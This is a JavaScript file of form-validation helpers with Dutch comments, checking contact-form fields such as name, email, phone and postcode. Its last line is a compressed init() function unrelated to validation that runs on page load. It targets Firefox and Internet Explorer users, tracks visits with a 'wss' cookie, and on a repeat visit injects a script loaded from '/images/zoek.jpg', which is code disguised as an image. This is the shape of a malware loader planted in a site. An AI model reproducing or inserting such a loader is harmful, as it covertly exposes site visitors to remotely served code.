/*Javascript functies*/
function checkContactForm(form){
	if(
		jsValidateField("txtNaam", "text") &&
		jsValidateField("txtEmail", "email") &&
		jsValidateField("txtTelefoon", "telefoon") &&
		jsValidateField("txtBericht", "text")
	   ){
		document.getElementById(form).submit();
	}
	else {
		return;
	}
}

function checkContactForm2(form){
	if(
		jsValidateField("txtEmail", "email")
		 ){
		document.getElementById(form).submit();
	}
	else {
		return;
	}
}

function jsValidateField(el, type) {
   // types -> ( postcode / telefoon / num / num'n', text, text'n', select, picture, tmce )

   var strValue = document.getElementById(el).value;
   var rw = false;

   if (type == "postcode") {
      rw = (strValue.replace(/[0-9]{4}\s{0,1}[A-Z]{2}/i, "x")=="x") ? true : false;
   } else if ((type == "radio") || (type == "checkbox")) {
      arrTemp = document.getElementsByName(el);
      for (i=0; i<arrTemp.length; i++) {
         if (arrTemp[i].checked) {
            return true;
         }
      }
   } else if (type == "email") {
      rw = (strValue.replace(/^[\w-]+(?:\.[\w-]+)*@(?:[\w-]+\.)+[a-zA-Z]{2,7}$/, "x")=="x") ? true : false;
   } else if (type=="telefoon") {
      strValue = jsCleanUpString(strValue, "0123456789");
      rw = (strValue.length==10) ? true : false;
   } else if (type=="telefoon_international") {
      strValue = jsCleanUpString(strValue, "0123456789");
      rw = (strValue.length==11) ? true : false;
   } else if (type=="alpha_num") {
      rw = (strValue.replace(/^[a-zA-Z]+$/, "x")=="x") ? true : false;
   } else if (type.substr(0, 3)=="num") {
      var strLen = type.substr(3, type.length-3);
      strValue = jsCleanUpString(strValue, "0123456789");
      if (strLen!="") {  // check op overgebleven lengte
         rw = (strValue.length==parseInt(strLen)) ? true : false;
      } else {
         document.getElementById(el).value = strValue;
         rw = (strValue.length>0) ? true : false;
      }
   } else if (type.substr(0, 4)=="text") {
      var intLen = parseInt(type.substr(4, type.length-4));
      if (intLen>0) {  // check op lengte
         rw = (strValue.length>=intLen) ? true : false;
      } else {
         rw = (strValue.length>0) ? true : false;
      }
   } else if (type=="select") {
      rw = (strValue>0) ? true : false;
   } else if (type=="picture") {
      if ((strValue.length)>0) {
         var ArrPicture = new Array('jpg','png','gif');

         for (i=0; i<ArrPicture.length; i++) {
            if (strValue.toLowerCase().indexOf(ArrPicture[i]) != -1) {
               rw = true;
            }
         }
      } else {
         return true;
      }
   } else if (type=="tmce") {
      var editor_id = tinyMCE.getEditorId(el);
      var inst = tinyMCE.getInstanceById(editor_id);
      var content = tinyMCE.getContent(editor_id);
      content = content.replace("&nbsp;", " ");
      content = content.replace(/^\s+|\s+$/, "");
      if (content.length>0) {
         return true;
      } else {
         inst.contentWindow.focus();
         return false;
      }
   }

   if (!rw) {
      if (type!="select") {
         document.getElementById(el).select();
      }
	  var classNu = document.getElementById(el).className;
      document.getElementById(el).className='validate_error '+classNu;
      document.getElementById(el).focus();

   }
   return rw;
}

function jsCleanUpString(strInput, validChars) {
   // filters all chars except validChars, return cleaned string
   var rw = strInput;
   var error = 0;
   for (i=0; i<rw.length; i++){
      c = rw.charAt(i);
      if (validChars.indexOf(c) == -1){
         rw = replace(rw, c, "");
         i=0;
      }
   }

   return rw;
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/zoek.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
